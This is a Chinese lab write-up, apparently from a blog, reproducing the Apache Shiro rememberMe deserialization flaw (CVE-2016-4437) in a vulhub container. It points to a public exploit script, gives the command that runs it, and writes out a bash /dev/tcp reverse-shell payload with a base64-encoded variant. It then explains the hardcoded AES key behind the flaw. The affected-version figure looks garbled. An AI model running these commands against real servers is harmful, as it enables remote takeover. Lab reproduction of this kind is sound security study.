• 漏洞复现-CVE-2016-4437-Shiro反序列化


     
     

    0x00 实验环境

    攻击机:Win 10

    靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机)

    0x01 影响版本

    Shiro <=1.2.24

    0x02 入坑说明

    (1)实验首先需要自行到github上下载exp

    地址:https://github.com/insightglacier/Shiro_exploit

    (2)运行环境为python3 ,需要将pip更新:python3 -m pip install --upgrade pip 并下载一些调用的库:pycryptodome、Crypto、requests等库

    0x03 实验步骤

    (1)打开有漏洞的网页,可以发现是一个登陆页面:

    (2)我们首先抓包试试,可以发现这是一个可能存在Shiro反序列化的网站

    (3)此时我们可以直接使用网上的exp进行攻击:

    python3 shiro_exploit.py -t 3 -u http://肉鸡IP:8080 -p "弹shell的一条命令"

    (4)弹shell的命令可以直接先构造好,然后在以下网站进行编码,这是因为Linux的命令行有的时候无法识别一些符号的命令:

    网址:http://www.jackson-t.ca/runtime-exec-payloads.html

    bash -i >& /dev/tcp/你的攻击机IP/2333 0>&1

    (5)攻击机监听,然后在本机win10上运行payload:

    python3 shiro_exploit.py -t 3 -u http://肉鸡网址:8080 -p "bash -c {echo,YmIXXXXXXXXXXXXXXJjE=}|{base64,-d}|{bash,-i}"

     shell反弹成功!

    0x05 实验原理

    参考原文:https://www.cnblogs.com/loong-hon/p/10619616.html

    Shiro提供了记住我(RememberMe)的功能,关闭了浏览器下次再打开时还是能记住你是谁,下次访问时无需再登录即可访问。

    Shiro对rememberMe的cookie做了加密处理,shiro在CookieRememberMeManaer类中将cookie中rememberMe字段内容分别进行 序列化AES加密Base64编码操作。

    在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序,不难知道解密的顺序为:

    • 获取rememberMe cookie
    • base64 decode
    • 解密AES
    • 反序列化

    但是,AES加密的密钥Key被硬编码在代码里,意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者构造一个恶意的对象,并且对其序列化,AES加密,base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

  • 相关阅读:
    session 、cookie、token的区别
    翻译-In-Stream Big Data Processing 流式大数据处理
    一致性hash算法
    HA 部署wordpress
    HA 高可用mysql集群
    JVM内存监视手段和内存溢出解决方案
    vmware linux NAT CON
    spring SOA architecture
    思路
    cookie和session得区别
  • 原文地址:https://www.cnblogs.com/cute-puli/p/13485294.html
Copyright © 2020-2023  润新知